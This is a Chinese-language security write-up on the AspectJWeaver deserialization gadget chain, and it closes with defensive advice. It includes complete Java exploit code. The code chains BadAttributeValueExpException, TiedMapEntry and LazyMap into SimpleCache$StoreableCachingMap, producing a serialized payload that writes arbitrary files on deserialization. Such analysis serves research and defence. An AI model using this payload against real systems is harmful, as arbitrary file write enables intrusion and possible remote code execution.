AspectJWeaver反序列化利用链
字数 1748 2025-08-27 12:33:43
AspectJWeaver反序列化利用链深入分析与利用
前言
AspectJWeaver是AspectJ项目中的一个组件,主要用于AOP(面向切面编程)的织入过程。在其org.aspectj.weaver.tools.cache.SimpleCache类中,存在一个潜在的安全漏洞,可以被利用来实现任意文件写入,进而可能导致远程代码执行。
漏洞核心分析
SimpleCache$StoreableCachingMap类
SimpleCache类包含一个内部类StoreableCachingMap,这个类继承自HashMap,并重写了put方法,关键点如下:
-
文件写入机制:
put方法中调用了writeToPath方法执行文件写入操作- 写入路径由
this.folder(构造函数传入)和key(文件名)拼接构成 - 写入内容为
valueBytes,即传入的value的字节形式
-
构造函数:
StoreableCachingMap(String folder, int initialCapacity)folder参数控制文件写入的目录initialCapacity是HashMap的初始容量
简单利用Demo
以下代码展示了如何直接利用StoreableCachingMap实现文件写入:
import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
public class SimpleExploit {
public static void main(String[] args) throws Exception {
// 反射获取构造函数
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap")
.getDeclaredConstructor(String.class, int.class);
con.setAccessible(true);
// 实例化对象,指定写入目录为D盘
HashMap map = (HashMap) con.newInstance("D:", 1);
// 调用put方法写入文件
map.put("1.txt", "21321321".getBytes(StandardCharsets.UTF_8));
}
}
执行后会在D盘创建1.txt文件,内容为"21321321"。
反序列化利用链构造
为了在反序列化过程中触发文件写入,我们需要结合Commons Collections的利用链。
利用链设计思路
-
触发点选择:
- Commons Collections中的
LazyMap.get()方法会调用put方法 - 我们可以将
StoreableCachingMap作为LazyMap的底层map
- Commons Collections中的
-
利用链组成:
BadAttributeValueExpException.readObject()- 调用
TiedMapEntry.toString()- 调用
TiedMapEntry.getValue()- 调用
LazyMap.get()- 调用
StoreableCachingMap.put()- 调用
writeToPath()实现文件写入
- 调用
- 调用
- 调用
- 调用
- 调用
完整利用代码
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class AspectJWeaverExploit {
public static void main(String[] args) throws Exception {
// 1. 创建StoreableCachingMap实例
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap")
.getDeclaredConstructor(String.class, int.class);
con.setAccessible(true);
HashMap map = (HashMap) con.newInstance("D:", 1);
// 2. 创建ConstantTransformer用于生成写入内容
ConstantTransformer transform = new ConstantTransformer("12321321".getBytes(StandardCharsets.UTF_8));
// 3. 创建LazyMap包装StoreableCachingMap
Map outmap = LazyMap.decorate(map, transform);
// 4. 构造TiedMapEntry触发链
TiedMapEntry tiedmap = new TiedMapEntry(outmap, "1.txt");
// 5. 使用BadAttributeValueExpException作为入口点
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc, tiedmap);
// 6. 序列化
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(poc);
String payload = Base64.getEncoder().encodeToString(out.toByteArray());
System.out.println("Serialized payload: " + payload);
// 7. 反序列化触发
ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
}
}
利用链执行流程分析
-
反序列化入口:
- 反序列化
BadAttributeValueExpException对象 - 进入
readObject方法,获取val字段值(TiedMapEntry对象)
- 反序列化
-
调用链展开:
BadAttributeValueExpException.readObject()
→TiedMapEntry.toString()
→TiedMapEntry.getValue()
→LazyMap.get(key)
-
LazyMap处理:
LazyMap.get()检查key不存在- 调用
this.factory.transform(key)(ConstantTransformer实例) - 返回预设的字节内容
- 调用
this.map.put(key, value)(StoreableCachingMap实例)
-
文件写入:
StoreableCachingMap.put()
→writeToPath()
→ 拼接路径:this.folder + File.separator + key
→ 创建文件并写入内容
防御与修复建议
-
输入验证:
- 对反序列化操作进行严格的白名单控制
- 验证反序列化数据的来源和完整性
-
安全配置:
- 更新AspectJWeaver到最新版本
- 检查并限制
SimpleCache的使用
-
运行时防护:
- 使用Java安全管理器限制文件系统访问
- 监控可疑的文件写入操作
-
依赖管理:
- 移除不必要的依赖(如Commons Collections)
- 使用安全版本的库
总结
AspectJWeaver中的SimpleCache$StoreableCachingMap类由于不安全的文件写入操作,结合Commons Collections的反序列化利用链,可以构造出有效的攻击载荷。这种攻击可以在反序列化过程中实现任意文件写入,为后续攻击创造条件。开发者应当重视反序列化安全问题,采取适当的防护措施。